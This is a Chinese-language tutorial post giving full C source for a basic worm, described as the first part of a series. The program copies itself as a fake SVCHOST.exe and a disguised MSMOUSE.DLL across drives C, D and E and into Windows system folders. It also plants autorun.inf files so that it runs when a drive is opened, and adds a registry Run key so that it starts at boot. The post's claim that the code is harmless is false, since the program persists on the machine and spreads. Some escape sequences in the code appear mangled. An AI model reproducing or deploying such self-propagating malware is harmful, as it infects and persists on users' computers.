连载1——最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:/windows/system、c:/windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:/windows/system/svchost.exe,使其开机自动运行
4.在C:/windows/system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力
本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。
以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */
#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
//autorun.inf文件内容
/**
[autorun]
open=SVCHOST.exe
shell\1=打开
shell\1\Command=SVCHOST.exe
shell\2\=Open
shell\2\Command=SVCHOST.exe
shellexecute=SVCHOST.exe
**/
/*
Shell\关键字:定义设备右键菜单文本
Shell\关键字\Command:定义设备右键菜单执行命令行
ShellExecute:指定设备启用时执行文件
*/
char *autorun={"[autorun]/nopen=SVCHOST.exe/n/nshell//1=打开/nshell//1//Command=SVCHOST.exe/nshell//2//=Open/nshell//2//Command=SVCHOST.exe/nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c://autorun.inf","d://autorun.inf","e://autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c://windows//system//MSMOUSE.DLL",
"c://windows//system//SVCHOST.exe","c://windows//SVCHOST.exe",
"c://SVCHOST.exe","d://SVCHOST.exe","e://SVCHOST.exe","SVCHOST.exe"};
//病毒开机启动注册表命令regadd
//HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run是控制计算机启动项的注册表信息,/v 所选项之下要添加的值名
// ,/d 要分配给添加的注册表 ValueName 的数据,/f 不用提示就强行改写现有注册表项
char *regadd="reg add /"HKLM//SOFTWARE//Microsoft//Windows//CurrentVersion//Run/" /v SVCHOST /d C://Windows//system//SVCHOST.exe /f";
//文件复制函数copy()
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);//写c、d、e盘的autorun.inf文件
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
//拷贝dll文件
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}